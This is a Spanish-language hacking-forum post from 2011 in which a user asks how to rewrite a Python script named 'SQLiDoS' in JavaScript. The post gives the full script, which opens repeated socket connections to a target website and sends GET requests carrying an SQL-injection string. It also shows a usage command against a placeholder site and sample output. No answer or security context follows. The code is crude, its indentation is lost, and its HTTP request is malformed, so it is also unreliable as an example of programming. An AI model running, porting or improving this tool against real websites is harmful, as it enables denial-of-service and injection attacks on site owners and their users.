elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
26 Mayo 2012, 14:40  


Tema destacado: Últimos eventos sobre seguridad/inseguridad

+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  Python a javascript?¿
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Python a javascript?¿  (Leído 135 veces)
VanX
Wiki

Desconectado Desconectado

Mensajes: 217


"El Conocimiento Humano, pertenece al Mundo"


Ver Perfil WWW
Python a javascript?¿
« en: 8 Agosto 2011, 16:20 »

Hola a todos, estuve buscando y buscando muchoooo por internet y no encontre nada sobre esto. Tengo un codigo en pythoon que me gustaría realizar en javascript pero no se por donde empezar:

Código
#!/usr/bin/python
# SQLiDoS - SQL Denial of Service
 
import socket
import sys
 
if len(sys.argv) != 4:
   print "[+] Uso: SQLiDoS.py <Target Web> <SQLi Injection> <Connection Numbers>"
   sys.exit(1)
 
def attack():
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((sys.argv[1], 80))
print "[+] GET /" + sys.argv[2] + " HTTP/1.1"
connection.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
connection.send("Host: " + sys.argv[1]  + "\r\n\r\n");
connection.close()
 
Host = sys.argv[1]
SQLi = sys.argv[2]
CoNum = int(sys.argv[3])
print "[+] Connecting to %s" % (Host)
print "[+] Injecting %s" % (SQLi)
for i in range(1, CoNum+1):
attack()

Como ejecutarlo:
Código
SQLiDoS.py www.sitioweb.com index.php?id=' 10

Funciona:
Código
[+] Connecting to www.sitioweb.com
[+] Injecting index.php?id='
[+] GET /noticias.php?id='
HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id='
HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id='
HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id='
HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1
[+] GET /noticias.php?id='
HTTP/1.1
[+] GET /noticias.php?id=' HTTP/1.1

Les agradezco la ayuda de antemano!

saludos


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Python] Curso de Python con Interfaces graficas TK « 1 2 »
Scripting
Erik# 18 12,509 Último mensaje 12 Septiembre 2010, 02:27
por Dreykon
[Python] Sockets en Python [+Ejemplos y Ejercicios]
Scripting
Erik# 3 5,865 Último mensaje 18 Febrero 2009, 22:49
por Erik#
Uso Shellcodes en python/ ‫javascript
Bugs y Exploits
ediskrad 2 2,446 Último mensaje 19 Octubre 2009, 06:52
por sirdarckcat
(Python)Existen ventanas de entrada y salida de datos en python
Scripting
tonilogar 11 4,343 Último mensaje 29 Noviembre 2009, 00:49
por tonilogar
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 »
Scripting
juh 22 5,560 Último mensaje 16 Octubre 2010, 13:12
por sheevalum
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines